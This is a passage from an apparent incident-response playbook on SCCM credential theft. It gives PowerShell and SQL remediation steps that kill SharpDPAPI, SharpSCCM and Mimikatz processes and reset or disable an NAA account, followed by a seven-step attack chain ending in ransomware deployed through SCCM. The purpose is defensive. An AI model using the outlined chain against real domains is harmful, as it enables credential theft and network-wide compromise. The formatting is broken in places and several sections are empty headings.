    • Manual (Azure VM):
      • Use “Run Command” feature in Azure Portal to execute collection scripts
  3. Remediate:
    • Kill malicious processes:
      Stop-Process -Name "SharpDPAPI" -Force -ErrorAction SilentlyContinue
      Stop-Process -Name "SharpSCCM" -Force -ErrorAction SilentlyContinue
      Stop-Process -Name "Mimikatz" -Force -ErrorAction SilentlyContinue
      
    • Revoke extracted credentials: ```powershell

      Reset NAA account password in AD

      Set-ADAccountPassword -Identity “CONTOSO\sccm-naa” -NewPassword (ConvertTo-SecureString -AsPlainText “NewComplexPass!2024” -Force)

    Force re-encryption of SCCM client policies

    Invoke-WmiMethod -Path “root\ccm:SMS_Client” -Name “TriggerSchedule” -ArgumentList “{00000000-0000-0000-0000-000000000121}” # Policy Evaluation schedule

    - Disable compromised NAA and service accounts (if confirmed):
    ```powershell
    Disable-ADAccount -Identity "CONTOSO\sccm-naa"
    
    • Clean up unauthorized SCCM applications/deployments (via SCCM console or database):
      -- Remove unauthorized applications from SCCM
      DELETE FROM dbo.v_Applications WHERE AppName LIKE '%Malware%' OR AppName LIKE '%Payload%'
      

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker gains initial foothold via exploited SCCM Application Proxy or public-facing SCCM management point
2 Credential Access [CA-DUMP-008] Attacker extracts NAA credentials from WMI/DPAPI on compromised SCCM client
3 Privilege Escalation [PE-VALID-008] SCCM Client Push Account Abuse Attacker uses extracted NAA or task sequence creds to become T1/T0 admin via SCCM role assignment or domain admin group add
4 Persistence [PERSIST-ACCT-006] Service Principal Certificate Persistence Attacker creates SCCM admin backdoor account with persistent certificate-based authentication
5 Lateral Movement [LM-AUTH-001] Pass-the-Hash (PTH) Attacker uses extracted admin password hash for lateral movement across domain (alternative: Kerberos pass-the-ticket)
6 Credential Access (T0) [CA-DUMP-006] NTDS.dit Extraction (This technique) Attacker gains domain controller access and extracts NTDS.dit for full domain compromise
7 Impact [IMPACT-RANSOM-001] Ransomware Deployment Attacker deploys ransomware via SCCM to all managed endpoints for maximum impact

17. REAL-WORLD EXAMPLES

Example 1: Scattered Spider - SCCM Credential Harvesting (2023)

Example 2: LAPSus$ - SCCM Database Compromise (2022)

Example 3: Conti Ransomware Gang - SCCM Lateral Movement (2021)


APPENDIX: Version-Specific Behaviors

Windows Server 2016-2019 (SCCM 2016-2019)

Windows Server 2022+ (SCCM 2022-2403)